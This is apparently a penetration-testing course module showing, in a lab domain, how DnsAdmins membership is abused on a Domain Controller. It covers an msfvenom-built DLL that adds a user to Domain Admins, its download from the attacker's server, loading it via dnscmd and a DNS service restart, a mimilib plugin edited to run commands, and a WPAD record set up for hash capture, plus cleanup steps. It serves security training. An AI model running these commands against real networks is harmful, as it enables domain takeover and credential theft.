**DnsAdmins**

Members of the [DnsAdmins](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#dnsadmins) group have access to DNS information on the network. The Windows DNS service supports custom plugins and can call functions from them to resolve name queries that are not in the scope of any locally hosted DNS zones. The DNS service runs as NT AUTHORITY\SYSTEM, so membership in this group could potentially be leveraged to escalate privileges on a Domain Controller or in a situation where a separate server is acting as the DNS server for the domain. It is possible to use the built-in [dnscmd](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd) utility to specify the path of the plugin DLL. As detailed in this excellent [post](https://adsecurity.org/?p=4064), the following attack can be performed when DNS is run on a Domain Controller (which is very common):

* DNS management is performed over RPC
* [ServerLevelPluginDll](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/c9d38538-8827-44e6-aa5e-022a016ed723) allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the dnscmd tool from the command line
* When a member of the DnsAdmins group runs the dnscmd command below, the HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll registry key is populated
* When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)
* An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.

Let's step through the attack.

**Leveraging DnsAdmins Access**

**Generating Malicious DLL**

We can generate a malicious DLL to add a user to the domain admins group using msfvenom.

Generating Malicious DLL

yovecio@htb[/htb]$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 313 bytes

Final size of dll file: 5120 bytes

Saved as: adduser.dll

**Starting Local HTTP Server**

Next, start a Python HTTP server.

Starting Local HTTP Server

yovecio@htb[/htb]$ python3 -m http.server 7777

Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...

10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -

**Downloading File to Target**

Download the file to the target.

Downloading File to Target

PS C:\htb> wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

Let's first see what happens if we use the dnscmd utility to load a custom DLL with a non-privileged user.

**Loading DLL as Non-Privileged User**

Loading DLL as Non-Privileged User

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

DNS Server failed to reset registry property.

Status = 5 (0x00000005)

Command failed: ERROR\_ACCESS\_DENIED

As expected, attempting to execute this command as a normal user isn't successful. Only members of the DnsAdmins group are permitted to do this.

**Loading DLL as Member of DnsAdmins**

Loading DLL as Member of DnsAdmins

C:\htb> Get-ADGroupMember -Identity DnsAdmins

distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL

name : netadm

objectClass : user

objectGUID : 1a1ac159-f364-4805-a4bb-7153051a8c14

SamAccountName : netadm

SID : S-1-5-21-669053619-2741956077-1013132368-1109

**Loading Custom DLL**

After confirming group membership in the DnsAdmins group, we can re-run the command to load a custom DLL.

Loading Custom DLL

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Registry property serverlevelplugindll successfully reset.

Command completed successfully.

Note: We must specify the full path to our custom DLL or the attack will not work properly.

Only the dnscmd utility can be used by members of the DnsAdmins group, as they do not directly have permission on the registry key.

With the registry setting containing the path of our malicious plugin configured, and our payload created, the DLL will be loaded the next time the DNS service is started. Membership in the DnsAdmins group doesn't give the ability to restart the DNS service, but this is conceivably something that sysadmins might permit DNS admins to do.

After restarting the DNS service (if our user has this level of access), we should be able to run our custom DLL and add a user (in our case) or get a reverse shell. If we do not have access to restart the DNS server, we will have to wait until the server or service restarts. Let's check our current user's permissions on the DNS service.

**Finding User's SID**

First, we need our user's SID.

Finding User's SID

C:\htb> wmic useraccount where name="netadm" get sid

SID

S-1-5-21-669053619-2741956077-1013132368-1109

**Checking Permissions on DNS Service**

Once we have the user's SID, we can use the sc command to check permissions on the service. Per this [article](https://www.winhelponline.com/blog/view-edit-service-permissions-windows/), we can see that our user has RPWP permissions which translate to SERVICE\_START and SERVICE\_STOP, respectively.

Checking Permissions on DNS Service

C:\htb> sc.exe sdshow DNS

D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Check out the Windows Fundamentals module for an explanation of SDDL syntax in Windows.

**Stopping the DNS Service**

After confirming these permissions, we can issue the following commands to stop and start the service.

Stopping the DNS Service

C:\htb> sc stop dns

SERVICE\_NAME: dns

TYPE : 10 WIN32\_OWN\_PROCESS

STATE : 3 STOP\_PENDING

(STOPPABLE, PAUSABLE, ACCEPTS\_SHUTDOWN)

WIN32\_EXIT\_CODE : 0 (0x0)

SERVICE\_EXIT\_CODE : 0 (0x0)

CHECKPOINT : 0x1

WAIT\_HINT : 0x7530

The DNS service will attempt to start and run our custom DLL, but if we check the status, it will show that it failed to start correctly (more on this later).

**Starting the DNS Service**

Starting the DNS Service

C:\htb> sc start dns

SERVICE\_NAME: dns

TYPE : 10 WIN32\_OWN\_PROCESS

STATE : 2 START\_PENDING

(NOT\_STOPPABLE, NOT\_PAUSABLE, IGNORES\_SHUTDOWN)

WIN32\_EXIT\_CODE : 0 (0x0)

SERVICE\_EXIT\_CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT\_HINT : 0x7d0

PID : 6960

FLAGS :

**Confirming Group Membership**

If all goes to plan, our account will be added to the Domain Admins group or receive a reverse shell if our custom DLL was made to give us a connection back.

Confirming Group Membership

C:\htb> net group "Domain Admins" /dom

Group name Domain Admins

Comment Designated administrators of the domain

Members

-------------------------------------------------------------------------------

Administrator netadm

The command completed successfully.

**Cleaning Up**

Making configuration changes and stopping/restarting the DNS service on a Domain Controller are very destructive actions and must be exercised with great care. As a penetration tester, we need to run this type of action by our client before proceeding with it since it could potentially take down DNS for an entire Active Directory environment and cause many issues. If our client gives their permission to go ahead with this attack, we need to be able to either cover our tracks and clean up after ourselves or offer our client steps on how to revert the changes.

These steps must be taken from an elevated console with a local or domain admin account.

**Confirming Registry Key Added**

The first step is confirming that the ServerLevelPluginDll registry key exists. Until our custom DLL is removed, we will not be able to start the DNS service again correctly.

Confirming Registry Key Added

C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters

GlobalQueryBlockList REG\_MULTI\_SZ wpad\0isatap

EnableGlobalQueryBlockList REG\_DWORD 0x1

PreviousLocalHostname REG\_SZ WINLPE-DC01.INLANEFREIGHT.LOCAL

Forwarders REG\_MULTI\_SZ 1.1.1.1\08.8.8.8

ForwardingTimeout REG\_DWORD 0x3

IsSlave REG\_DWORD 0x0

BootMethod REG\_DWORD 0x3

AdminConfigured REG\_DWORD 0x1

ServerLevelPluginDll REG\_SZ adduser.dll

**Deleting Registry Key**

We can use the reg delete command to remove the key that points to our custom DLL.

Deleting Registry Key

C:\htb> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

Delete the registry value ServerLevelPluginDll (Yes/No)? Y

The operation completed successfully.

**Starting the DNS Service Again**

Once this is done, we can start up the DNS service again.

Starting the DNS Service Again

C:\htb> sc.exe start dns

SERVICE\_NAME: dns

TYPE : 10 WIN32\_OWN\_PROCESS

STATE : 2 START\_PENDING

(NOT\_STOPPABLE, NOT\_PAUSABLE, IGNORES\_SHUTDOWN)

WIN32\_EXIT\_CODE : 0 (0x0)

SERVICE\_EXIT\_CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT\_HINT : 0x7d0

PID : 4984

FLAGS :

**Checking DNS Service Status**

If everything went to plan, querying the DNS service will show that it is running. We can also confirm that DNS is working correctly within the environment by performing an nslookup against the localhost or another host in the domain.

Checking DNS Service Status

C:\htb> sc query dns

SERVICE\_NAME: dns

TYPE : 10 WIN32\_OWN\_PROCESS

STATE : 4 RUNNING

(STOPPABLE, PAUSABLE, ACCEPTS\_SHUTDOWN)

WIN32\_EXIT\_CODE : 0 (0x0)

SERVICE\_EXIT\_CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT\_HINT : 0x0

Once again, this is a potentially destructive attack that we should only carry out with explicit permission from and in coordination with our client. If they understand the risks and want to see a full proof of concept, then the steps outlined in this section will help demonstrate the attack and clean up afterward.

**Using Mimilib.dll**

As detailed in this [post](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html), we could also utilize [mimilib.dll](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib) from the creator of the Mimikatz tool to gain command execution by modifying the [kdns.c](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c) file to execute a reverse shell one-liner or another command of our choosing.

Code: c

/\* Benjamin DELPY `gentilkiwi`

https://blog.gentilkiwi.com

benjamin@gentilkiwi.com

Licence : https://creativecommons.org/licenses/by/4.0/

\*/

#include "kdns.h"

DWORD WINAPI kdns\_DnsPluginInitialize(PLUGIN\_ALLOCATOR\_FUNCTION pDnsAllocateFunction, PLUGIN\_FREE\_FUNCTION pDnsFreeFunction)

{

return ERROR\_SUCCESS;

}

DWORD WINAPI kdns\_DnsPluginCleanup()

{

return ERROR\_SUCCESS;

}

DWORD WINAPI kdns\_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB\_RECORD \*ppDnsRecordListHead)

{

FILE \* kdns\_logfile;

#pragma warning(push)

#pragma warning(disable:4996)

if(kdns\_logfile = \_wfopen(L"kiwidns.log", L"a"))

#pragma warning(pop)

{

klog(kdns\_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);

fclose(kdns\_logfile);

system("ENTER COMMAND HERE");

}

return ERROR\_SUCCESS;

}

**Creating a WPAD Record**

Another way to abuse DnsAdmins group privileges is by creating a WPAD record. Membership in this group gives us the rights to [disable global query block security](https://docs.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps), which by default blocks this attack. Server 2008 first introduced the ability to add to a global query block list on a DNS server. By default, Web Proxy Automatic Discovery Protocol (WPAD) and Intra-site Automatic Tunnel Addressing Protocol (ISATAP) are on the global query block list. These protocols are quite vulnerable to hijacking, and any domain user can create a computer object or DNS record containing those names.

After disabling the global query block list and creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through our attack machine. We could use a tool such as [Responder](https://github.com/lgandx/Responder) or [Inveigh](https://github.com/Kevin-Robertson/Inveigh) to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack.

**Disabling the Global Query Block List**

To set up this attack, we first disabled the global query block list:

Disabling the Global Query Block List

C:\htb> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

**Adding a WPAD Record**

Next, we add a WPAD record pointing to our attack machine.

Adding a WPAD Record

C:\htb> Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3